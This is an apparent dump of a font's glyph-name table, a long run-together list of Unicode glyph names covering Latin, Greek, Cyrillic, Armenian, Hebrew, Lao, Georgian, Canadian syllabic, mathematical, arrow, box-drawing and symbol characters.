aringacuteAEacuteaeacuteOslashacuteoslashacuteuni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217Scommaaccentscommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0220uni0221uni0222uni0223uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0234uni0235uni0236dotlessjuni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0242uni0243uni0244uni0245uni0246uni0247uni0248uni0249uni024Auni024Buni024Cuni024Duni024Euni024Funi0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0259uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02AEuni02AFuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BAuni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C2uni02C3uni02C4uni02C5uni02C8uni02C9uni02CAuni02CBuni02CCuni02CDuni02CEuni02CFuni02D0uni02D1uni02D2uni02D3uni02D4uni02D5uni02D6uni02D7uni02DEuni02DFuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02ECuni02EDuni02EEuni02F3uni02F7	gravecomb	acutecombuni0302	tildecombuni0304uni0305uni0306uni0307uni0308
hookabovecombuni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322dotbelowcombuni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0340uni0341uni0342uni0343uni0344uni0345uni0346uni0347uni0348uni0349uni034Auni034Buni034Cuni034Duni034Euni034Funi0351uni0352uni0353uni0357uni0358uni035Auni035Cuni035Duni035Euni035Funi0360uni0361uni0362uni0370uni0371uni0372uni0373uni0374uni0375uni0376uni0377uni037Auni037Buni037Cuni037Duni037Euni037Ftonos
dieresistonos
Alphatonos	anoteleiaEpsilontonosEtatonos	IotatonosOmicrontonosUpsilontonos
OmegatonosiotadieresistonosAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiIotadieresisUpsilondieresis
alphatonosepsilontonosetatonos	iotatonosupsilondieresistonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigma1sigmatauupsilonphichipsiomegaiotadieresisupsilondieresisomicrontonosupsilontonos
omegatonosuni03CFuni03D0theta1Upsilon1uni03D3uni03D4phi1omega1uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03E2uni03E3uni03E4uni03E5uni03E6uni03E7uni03E8uni03E9uni03EAuni03EBuni03ECuni03EDuni03EEuni03EFuni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni03F7uni03F8uni03F9uni03FAuni03FBuni03FCuni03FDuni03FEuni03FFuni0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0460uni0461uni0462uni0463uni0464uni0465uni0466uni0467uni0468uni0469uni046Auni046Buni046Cuni046Duni046Euni046Funi0470uni0471uni0472uni0473uni0474uni0475uni0476uni0477uni0478uni0479uni047Auni047Buni047Cuni047Duni047Euni047Funi0480uni0481uni0482uni0483uni0484uni0485uni0486uni0487uni0488uni0489uni048Auni048Buni048Cuni048Duni048Euni048Funi0490uni0491uni0492uni0493uni0494uni0495uni0496uni0497uni0498uni0499uni049Auni049Buni049Cuni049Duni049Euni049Funi04A0uni04A1uni04A2uni04A3uni04A4uni04A5uni04A6uni04A7uni04A8uni04A9uni04AAuni04ABuni04ACuni04ADuni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04B4uni04B5uni04B6uni04B7uni04B8uni04B9uni04BAuni04BBuni04BCuni04BDuni04BEuni04BFuni04C0uni04C1uni04C2uni04C3uni04C4uni04C5uni04C6uni04C7uni04C8uni04C9uni04CAuni04CBuni04CCuni04CDuni04CEuni04CFuni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04D8uni04D9uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04E8uni04E9uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F6uni04F7uni04F8uni04F9uni04FAuni04FBuni04FCuni04FDuni04FEuni04FFuni0500uni0501uni0502uni0503uni0504uni0505uni0506uni0507uni0508uni0509uni050Auni050Buni050Cuni050Duni050Euni050Funi0510uni0511uni0512uni0513uni0514uni0515uni0516uni0517uni0518uni0519uni051Auni051Buni051Cuni051Duni051Euni051Funi0520uni0521uni0522uni0523uni0524uni0525uni0531uni0532uni0533uni0534uni0535uni0536uni0537uni0538uni0539uni053Auni053Buni053Cuni053Duni053Euni053Funi0540uni0541uni0542uni0543uni0544uni0545uni0546uni0547uni0548uni0549uni054Auni054Buni054Cuni054Duni054Euni054Funi0550uni0551uni0552uni0553uni0554uni0555uni0556uni0559uni055Auni055Buni055Cuni055Duni055Euni055Funi0561uni0562uni0563uni0564uni0565uni0566uni0567uni0568uni0569uni056Auni056Buni056Cuni056Duni056Euni056Funi0570uni0571uni0572uni0573uni0574uni0575uni0576uni0577uni0578uni0579uni057Auni057Buni057Cuni057Duni057Euni057Funi0580uni0581uni0582uni0583uni0584uni0585uni0586uni0587uni0589uni058Auni05B0uni05B1uni05B2uni05B3uni05B4uni05B5uni05B6uni05B7uni05B8uni05B9uni05BAuni05BBuni05BCuni05BDuni05BEuni05BFuni05C0uni05C1uni05C2uni05C3uni05C6uni05C7uni05D0uni05D1uni05D2uni05D3uni05D4uni05D5uni05D6uni05D7uni05D8uni05D9uni05DAuni05DBuni05DCuni05DDuni05DEuni05DFuni05E0uni05E1uni05E2uni05E3uni05E4uni05E5uni05E6uni05E7uni05E8uni05E9uni05EAuni05F0uni05F1uni05F2uni05F3uni05F4uni0E3Funi0E81uni0E82uni0E84uni0E87uni0E88uni0E8Auni0E8Duni0E94uni0E95uni0E96uni0E97uni0E99uni0E9Auni0E9Buni0E9Cuni0E9Duni0E9Euni0E9Funi0EA1uni0EA2uni0EA3uni0EA5uni0EA7uni0EAAuni0EABuni0EADuni0EAEuni0EAFuni0EB0uni0EB1uni0EB2uni0EB3uni0EB4uni0EB5uni0EB6uni0EB7uni0EB8uni0EB9uni0EBBuni0EBCuni0EBDuni0EC0uni0EC1uni0EC2uni0EC3uni0EC4uni0EC6uni0EC8uni0EC9uni0ECAuni0ECBuni0ECCuni0ECDuni0ED0uni0ED1uni0ED2uni0ED3uni0ED4uni0ED5uni0ED6uni0ED7uni0ED8uni0ED9uni0EDCuni0EDDuni10A0uni10A1uni10A2uni10A3uni10A4uni10A5uni10A6uni10A7uni10A8uni10A9uni10AAuni10ABuni10ACuni10ADuni10AEuni10AFuni10B0uni10B1uni10B2uni10B3uni10B4uni10B5uni10B6uni10B7uni10B8uni10B9uni10BAuni10BBuni10BCuni10BDuni10BEuni10BFuni10C0uni10C1uni10C2uni10C3uni10C4uni10C5uni10D0uni10D1uni10D2uni10D3uni10D4uni10D5uni10D6uni10D7uni10D8uni10D9uni10DAuni10DBuni10DCuni10DDuni10DEuni10DFuni10E0uni10E1uni10E2uni10E3uni10E4uni10E5uni10E6uni10E7uni10E8uni10E9uni10EAuni10EBuni10ECuni10EDuni10EEuni10EFuni10F0uni10F1uni10F2uni10F3uni10F4uni10F5uni10F6uni10F7uni10F8uni10F9uni10FAuni10FBuni10FCuni1401uni1402uni1403uni1404uni1405uni1406uni1407uni1409uni140Auni140Buni140Cuni140Duni140Euni140Funi1410uni1411uni1412uni1413uni1414uni1415uni1416uni1417uni1418uni1419uni141Auni141Buni141Duni141Euni141Funi1420uni1421uni1422uni1423uni1424uni1425uni1426uni1427uni1428uni1429uni142Auni142Buni142Cuni142Duni142Euni142Funi1430uni1431uni1432uni1433uni1434uni1435uni1437uni1438uni1439uni143Auni143Buni143Cuni143Duni143Euni143Funi1440uni1441uni1442uni1443uni1444uni1445uni1446uni1447uni1448uni1449uni144Auni144Cuni144Duni144Euni144Funi1450uni1451uni1452uni1454uni1455uni1456uni1457uni1458uni1459uni145Auni145Buni145Cuni145Duni145Euni145Funi1460uni1461uni1462uni1463uni1464uni1465uni1466uni1467uni1468uni1469uni146Auni146Buni146Cuni146Duni146Euni146Funi1470uni1471uni1472uni1473uni1474uni1475uni1476uni1477uni1478uni1479uni147Auni147Buni147Cuni147Duni147Euni147Funi1480uni1481uni1482uni1483uni1484uni1485uni1486uni1487uni1488uni1489uni148Auni148Buni148Cuni148Duni148Euni148Funi1490uni1491uni1492uni1493uni1494uni1495uni1496uni1497uni1498uni1499uni149Auni149Buni149Cuni149Duni149Euni149Funi14A0uni14A1uni14A2uni14A3uni14A4uni14A5uni14A6uni14A7uni14A8uni14A9uni14AAuni14ABuni14ACuni14ADuni14AEuni14AFuni14B0uni14B1uni14B2uni14B3uni14B4uni14B5uni14B6uni14B7uni14B8uni14B9uni14BAuni14BBuni14BCuni14BDuni14C0uni14C1uni14C2uni14C3uni14C4uni14C5uni14C6uni14C7uni14C8uni14C9uni14CAuni14CBuni14CCuni14CDuni14CEuni14CFuni14D0uni14D1uni14D2uni14D3uni14D4uni14D5uni14D6uni14D7uni14D8uni14D9uni14DAuni14DBuni14DCuni14DDuni14DEuni14DFuni14E0uni14E1uni14E2uni14E3uni14E4uni14E5uni14E6uni14E7uni14E8uni14E9uni14EAuni14ECuni14EDuni14EEuni14EFuni14F0uni14F1uni14F2uni14F3uni14F4uni14F5uni14F6uni14F7uni14F8uni14F9uni14FAuni14FBuni14FCuni14FDuni14FEuni14FFuni1500uni1501uni1502uni1503uni1504uni1505uni1506uni1507uni1510uni1511uni1512uni1513uni1514uni1515uni1516uni1517uni1518uni1519uni151Auni151Buni151Cuni151Duni151Euni151Funi1520uni1521uni1522uni1523uni1524uni1525uni1526uni1527uni1528uni1529uni152Auni152Buni152Cuni152Duni152Euni152Funi1530uni1531uni1532uni1533uni1534uni1535uni1536uni1537uni1538uni1539uni153Auni153Buni153Cuni153Duni153Euni1540uni1541uni1542uni1543uni1544uni1545uni1546uni1547uni1548uni1549uni154Auni154Buni154Cuni154Duni154Euni154Funi1550uni1552uni1553uni1554uni1555uni1556uni1557uni1558uni1559uni155Auni155Buni155Cuni155Duni155Euni155Funi1560uni1561uni1562uni1563uni1564uni1565uni1566uni1567uni1568uni1569uni156Auni1574uni1575uni1576uni1577uni1578uni1579uni157Auni157Buni157Cuni157Duni157Euni157Funi1580uni1581uni1582uni1583uni1584uni1585uni158Auni158Buni158Cuni158Duni158Euni158Funi1590uni1591uni1592uni1593uni1594uni1595uni1596uni15A0uni15A1uni15A2uni15A3uni15A4uni15A5uni15A6uni15A7uni15A8uni15A9uni15AAuni15ABuni15ACuni15ADuni15AEuni15AFuni15DEuni15E1uni1646uni1647uni166Euni166Funi1670uni1671uni1672uni1673uni1674uni1675uni1676uni1D00uni1D01uni1D02uni1D03uni1D04uni1D05uni1D06uni1D07uni1D08uni1D09uni1D0Auni1D0Buni1D0Cuni1D0Duni1D0Euni1D0Funi1D10uni1D11uni1D12uni1D13uni1D14uni1D16uni1D17uni1D18uni1D19uni1D1Auni1D1Buni1D1Cuni1D1Duni1D1Euni1D1Funi1D20uni1D21uni1D22uni1D23uni1D26uni1D27uni1D28uni1D29uni1D2Auni1D2Buni1D2Cuni1D2Duni1D2Euni1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Duni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D5Duni1D5Euni1D5Funi1D60uni1D61uni1D62uni1D63uni1D64uni1D65uni1D66uni1D67uni1D68uni1D69uni1D6Auni1D77uni1D78uni1D7Buni1D7Duni1D85uni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB8uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1DC4uni1DC5uni1DC6uni1DC7uni1DC8uni1DC9uni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E14uni1E15uni1E16uni1E17uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E2Euni1E2Funi1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E4Euni1E4Funi1E50uni1E51uni1E52uni1E53uni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E64uni1E65uni1E66uni1E67uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Auni1E7Buni1E7Cuni1E7Duni1E7Euni1E7FWgravewgraveWacutewacute	Wdieresis	wdieresisuni1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Auni1E9Buni1E9Cuni1E9Duni1E9Euni1E9Funi1EA0uni1EA1uni1EA2uni1EA3uni1EA4uni1EA5uni1EA6uni1EA7uni1EA8uni1EA9uni1EAAuni1EABuni1EACuni1EADuni1EAEuni1EAFuni1EB0uni1EB1uni1EB2uni1EB3uni1EB4uni1EB5uni1EB6uni1EB7uni1EB8uni1EB9uni1EBAuni1EBBuni1EBCuni1EBDuni1EBEuni1EBFuni1EC0uni1EC1uni1EC2uni1EC3uni1EC4uni1EC5uni1EC6uni1EC7uni1EC8uni1EC9uni1ECAuni1ECBuni1ECCuni1ECDuni1ECEuni1ECFuni1ED0uni1ED1uni1ED2uni1ED3uni1ED4uni1ED5uni1ED6uni1ED7uni1ED8uni1ED9uni1EDAuni1EDBuni1EDCuni1EDDuni1EDEuni1EDFuni1EE0uni1EE1uni1EE2uni1EE3uni1EE4uni1EE5uni1EE6uni1EE7uni1EE8uni1EE9uni1EEAuni1EEBuni1EECuni1EEDuni1EEEuni1EEFuni1EF0uni1EF1Ygraveygraveuni1EF4uni1EF5uni1EF6uni1EF7uni1EF8uni1EF9uni1EFAuni1EFBuni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni200Buni200Cuni200Duni200Euni200Funi2010uni2011
figuredashuni2015uni2016
underscoredbl
quotereverseduni201Funi2023onedotenleadertwodotenleaderuni2027uni2028uni2029uni202Auni202Buni202Cuni202Duni202Euni202Funi2031minuteseconduni2034uni2035uni2036uni2037uni2038uni203B	exclamdbluni203Duni203Euni203Funi2040uni2041uni2042uni2043uni2045uni2046uni2047uni2048uni2049uni204Auni204Buni204Cuni204Duni204Euni204Funi2050uni2051uni2052uni2053uni2054uni2055uni2056uni2057uni2058uni2059uni205Auni205Buni205Cuni205Duni205Euni205Funi2060uni2061uni2062uni2063uni2064uni206Auni206Buni206Cuni206Duni206Euni206Funi2070uni2071uni2074uni2075uni2076uni2077uni2078uni2079uni207Auni207Buni207Cuni207Duni207Euni207Funi2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Auni208Buni208Cuni208Duni208Euni2090uni2091uni2092uni2093uni2094uni2095uni2096uni2097uni2098uni2099uni209Auni209Buni209Cuni20A0
colonmonetaryuni20A2lirauni20A5uni20A6pesetauni20A8uni20A9uni20AAdongEurouni20ADuni20AEuni20AFuni20B0uni20B1uni20B2uni20B3uni20B4uni20B5uni20B8uni20B9uni20BAuni20BDuni20D0uni20D1uni20D6uni20D7uni20DBuni20DCuni20E1uni2100uni2101uni2102uni2103uni2104uni2105uni2106uni2107uni2108uni2109uni210Buni210Cuni210Duni210Euni210Funi2110Ifrakturuni2112uni2113uni2114uni2115uni2116uni2117weierstrassuni2119uni211Auni211BRfrakturuni211Dprescriptionuni211Funi2120uni2121uni2123uni2124uni2125uni2126uni2127uni2128uni2129uni212Auni212Buni212Cuni212D	estimateduni212Funi2130uni2131uni2132uni2133uni2134alephuni2136uni2137uni2138uni2139uni213Auni213Buni213Cuni213Duni213Euni213Funi2140uni2141uni2142uni2143uni2144uni2145uni2146uni2147uni2148uni2149uni214Buni214Euni2150uni2151uni2152onethird	twothirdsuni2155uni2156uni2157uni2158uni2159uni215A	oneeighththreeeighthsfiveeighthsseveneighthsuni215Funi2160uni2161uni2162uni2163uni2164uni2165uni2166uni2167uni2168uni2169uni216Auni216Buni216Cuni216Duni216Euni216Funi2170uni2171uni2172uni2173uni2174uni2175uni2176uni2177uni2178uni2179uni217Auni217Buni217Cuni217Duni217Euni217Funi2180uni2181uni2182uni2183uni2184uni2185uni2189	arrowleftarrowup
arrowright	arrowdown	arrowboth	arrowupdnuni2196uni2197uni2198uni2199uni219Auni219Buni219Cuni219Duni219Euni219Funi21A0uni21A1uni21A2uni21A3uni21A4uni21A5uni21A6uni21A7arrowupdnbseuni21A9uni21AAuni21ABuni21ACuni21ADuni21AEuni21AFuni21B0uni21B1uni21B2uni21B3uni21B4carriagereturnuni21B6uni21B7uni21B8uni21B9uni21BAuni21BBuni21BCuni21BDuni21BEuni21BFuni21C0uni21C1uni21C2uni21C3uni21C4uni21C5uni21C6uni21C7uni21C8uni21C9uni21CAuni21CBuni21CCuni21CDuni21CEuni21CFarrowdblleft
arrowdblup
arrowdblrightarrowdbldownarrowdblbothuni21D5uni21D6uni21D7uni21D8uni21D9uni21DAuni21DBuni21DCuni21DDuni21DEuni21DFuni21E0uni21E1uni21E2uni21E3uni21E4uni21E5uni21E6uni21E7uni21E8uni21E9uni21EAuni21EBuni21ECuni21EDuni21EEuni21EFuni21F0uni21F1uni21F2uni21F3uni21F4uni21F5uni21F6uni21F7uni21F8uni21F9uni21FAuni21FBuni21FCuni21FDuni21FEuni21FF	universaluni2201existentialuni2204emptysetgradientelement
notelementuni220Asuchthatuni220Cuni220Duni220Euni2210uni2213uni2214uni2215uni2216asteriskmathuni2218uni2219uni221Buni221Cproportional
orthogonalangleuni2221uni2222uni2223uni2224uni2225uni2226
logicaland	logicalorintersectionunionuni222Cuni222Duni222Euni222Funi2230uni2231uni2232uni2233	thereforeuni2235uni2236uni2237uni2238uni2239uni223Auni223Bsimilaruni223Duni223Euni223Funi2240uni2241uni2242uni2243uni2244	congruentuni2246uni2247uni2249uni224Auni224Buni224Cuni224Duni224Euni224Funi2250uni2251uni2252uni2253uni2254uni2255uni2256uni2257uni2258uni2259uni225Auni225Buni225Cuni225Duni225Euni225Fequivalenceuni2262uni2263uni2266uni2267uni2268uni2269uni226Auni226Buni226Cuni226Duni226Euni226Funi2270uni2271uni2272uni2273uni2274uni2275uni2276uni2277uni2278uni2279uni227Auni227Buni227Cuni227Duni227Euni227Funi2280uni2281propersubsetpropersuperset	notsubsetuni2285reflexsubsetreflexsupersetuni2288uni2289uni228Auni228Buni228Cuni228Duni228Euni228Funi2290uni2291uni2292uni2293uni2294
circleplusuni2296circlemultiplyuni2298uni2299uni229Auni229Buni229Cuni229Duni229Euni229Funi22A0uni22A1uni22A2uni22A3uni22A4
perpendicularuni22A6uni22A7uni22A8uni22A9uni22AAuni22ABuni22ACuni22ADuni22AEuni22AFuni22B0uni22B1uni22B2uni22B3uni22B4uni22B5uni22B6uni22B7uni22B8uni22B9uni22BAuni22BBuni22BCuni22BDuni22BEuni22BFuni22C0uni22C1uni22C2uni22C3uni22C4dotmathuni22C6uni22C7uni22C8uni22C9uni22CAuni22CBuni22CCuni22CDuni22CEuni22CFuni22D0uni22D1uni22D2uni22D3uni22D4uni22D5uni22D6uni22D7uni22D8uni22D9uni22DAuni22DBuni22DCuni22DDuni22DEuni22DFuni22E0uni22E1uni22E2uni22E3uni22E4uni22E5uni22E6uni22E7uni22E8uni22E9uni22EAuni22EBuni22ECuni22EDuni22EEuni22EFuni22F0uni22F1uni22F2uni22F3uni22F4uni22F5uni22F6uni22F7uni22F8uni22F9uni22FAuni22FBuni22FCuni22FDuni22FEuni22FFuni2300uni2301houseuni2303uni2304uni2305uni2306uni2307uni2308uni2309uni230Auni230Buni230Cuni230Duni230Euni230F
revlogicalnotuni2311uni2318uni2319uni231Cuni231Duni231Euni231F
integraltp
integralbtuni2324uni2325uni2326uni2327uni2328uni232Buni232Cuni2373uni2374uni2375uni237Auni237Duni2387uni2394uni239Buni239Cuni239Duni239Euni239Funi23A0uni23A1uni23A2uni23A3uni23A4uni23A5uni23A6uni23A7uni23A8uni23A9uni23AAuni23ABuni23ACuni23ADuni23AEuni23CEuni23CFuni23E3uni23E5uni23E8uni2422uni2423uni2460uni2461uni2462uni2463uni2464uni2465uni2466uni2467uni2468uni2469SF100000uni2501SF110000uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250BSF010000uni250Duni250Euni250FSF030000uni2511uni2512uni2513SF020000uni2515uni2516uni2517SF040000uni2519uni251Auni251BSF080000uni251Duni251Euni251Funi2520uni2521uni2522uni2523SF090000uni2525uni2526uni2527uni2528uni2529uni252Auni252BSF060000uni252Duni252Euni252Funi2530uni2531uni2532uni2533SF070000uni2535uni2536uni2537uni2538uni2539uni253Auni253BSF050000uni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254FSF430000SF240000SF510000SF520000SF390000SF220000SF210000SF250000SF500000SF490000SF380000SF280000SF270000SF260000SF360000SF370000SF420000SF190000SF200000SF230000SF470000SF480000SF410000SF450000SF460000SF400000SF540000SF530000SF440000uni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Fupblockuni2581uni2582uni2583dnblockuni2585uni2586uni2587blockuni2589uni258Auni258Blfblockuni258Duni258Euni258Frtblockltshadeshadedkshadeuni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259F	filledboxH22073uni25A2uni25A3uni25A4uni25A5uni25A6uni25A7uni25A8uni25A9H18543H18551
filledrectuni25ADuni25AEuni25AFuni25B0uni25B1triagupuni25B3uni25B4uni25B5uni25B6uni25B7uni25B8uni25B9triagrtuni25BBtriagdnuni25BDuni25BEuni25BFuni25C0uni25C1uni25C2uni25C3triaglfuni25C5uni25C6uni25C7uni25C8uni25C9circleuni25CCuni25CDuni25CEH18533uni25D0uni25D1uni25D2uni25D3uni25D4uni25D5uni25D6uni25D7	invbullet	invcircleuni25DAuni25DBuni25DCuni25DDuni25DEuni25DFuni25E0uni25E1uni25E2uni25E3uni25E4uni25E5
openbulletuni25E7uni25E8uni25E9uni25EAuni25EBuni25ECuni25EDuni25EEuni25EFuni25F0uni25F1uni25F2uni25F3uni25F4uni25F5uni25F6uni25F7uni25F8uni25F9uni25FAuni25FBuni25FCuni25FDuni25FEuni25FFuni2600uni2601uni2602uni2603uni2604uni2605uni2606uni2607uni2608uni2609uni260Auni260Buni260Cuni260Duni260Euni260Funi2610uni2611uni2612uni2613uni2614uni2615uni2616uni2617uni2618uni2619uni261Auni261Buni261Cuni261Duni261Euni261Funi2620uni2621uni2622uni2623uni2624uni2625uni2626uni2627uni2628uni2629uni262Auni262Buni262Cuni262Duni262Euni262Funi2630uni2631uni2632uni2633uni2634uni2635uni2636uni2637uni2638uni2639	smileface